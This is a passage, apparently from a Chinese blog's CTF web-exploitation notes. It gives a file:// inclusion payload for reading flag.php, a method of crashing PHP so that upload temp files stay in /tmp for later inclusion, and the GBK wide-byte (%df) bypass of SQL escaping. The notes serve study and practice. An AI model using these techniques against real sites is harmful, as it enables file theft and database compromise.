/index.php?url=file://localhost/var/www/html/flag.php

正常的文件上传流程首先接收 POST 的文件,在 ‘tmp’目录下生成临时文件,文件名是’php[A-Za-z0-9]{6}’,在 PHP 处理后删除临时文件,虽然没有文件上传,但是只要文件上传开启了就一定会创建临时文件,在这中途如果 php 意外退出则临时文件不会被删除,造成’/tmp’目录下可以留下任何内容。 内容构造好后,单纯爆破’/tmp/phpxxxxxx’文件名也可行的。通过文件包含,让其包含本身,造成无限循环后发出 SIGSEGV 信号,可以导致 php 意外退出。

数据库相关

过滤’、”时通常在前面添加\,如果此时编码方式是GBK,只需要在最前面添加%df即可。因为mysql在使用GBK编码时,会认为两个字符是一个汉字,而'经urlencode编码为%5c%27,在前面添加%df为%df%5c%27,会将%df%5c当做一个汉字处理。

这种绕过涉及以下几个函数:

mysql_real_escape_string()

转义 SQL 语句中使用的字符串中的特殊字符,以下字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

转义成功返回被转义的字符串,失败返回false。

addslaches()

返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:

  • \
但愿我的博文能对您有所帮助~